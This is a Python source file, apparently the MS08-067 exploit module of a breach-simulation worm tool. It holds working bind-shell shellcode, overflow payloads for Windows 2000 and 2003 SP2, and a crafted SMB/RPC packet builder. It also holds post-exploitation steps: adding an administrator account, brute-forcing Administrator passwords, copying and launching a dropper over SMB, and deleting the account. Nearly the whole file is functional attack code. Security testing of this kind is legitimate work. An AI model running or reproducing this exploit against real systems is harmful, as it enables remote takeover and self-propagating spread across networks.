monkey/chaos_monkey/exploit/win_ms08_067.py

271 lines
11 KiB
Python

#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys
import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from network import SMBFinger
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
PAYLOAD_2000 += '\x41\x41'
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
PAYLOAD_2000 += '\xeb\xcc'
PAYLOAD_2000 += '\x00\x00'
# Payload for Windows 2003[SP2] target
PAYLOAD_2003 ='\x41\x00\x5c\x00'
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
class SRVSVC_Exploit(object):
TELNET_PORT = 4444
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
self._port = port
self._target = target_addr
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
def get_telnet_port(self):
"""get_telnet_port()
The port on which the Telnet service will listen.
"""
return SRVSVC_Exploit.TELNET_PORT
def start(self):
"""start() -> socket
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
self._trans.connect()
LOG.debug("Connected to %s", target_rpc_name)
self._dce = self._trans.DCERPC_class(self._trans)
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce_packet = self._build_dce_packet()
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
sock = socket.socket()
sock.connect((self._target, self.get_telnet_port()))
return sock
def _build_dce_packet(self):
# Constructing Malicious Packet
dce_packet = '\x01\x00\x00\x00'
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
dce_packet += SHELLCODE
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
dce_packet += self._payload
dce_packet += '\x00\x00\x00\x00'
dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
dce_packet += '\x01\x00\x00\x00'
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
def __init__(self):
self._config = __import__('config').WormConfiguration
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys():
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
try:
sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % \
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
time.sleep(2)
reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", host)
exploited = True
break
except Exception, exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue
if not exploited:
LOG.debug("Exploiter MS08-067 is giving up...")
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path,
self._config.dropper_target_path)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.psexec_passwords:
remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path,
self._config.dropper_target_path)
if remote_full_path:
break
if not remote_full_path:
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
try:
sock.send("start %s\r\n" % (cmdline, ))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
except Exception, exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try:
sock.close()
except:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
return True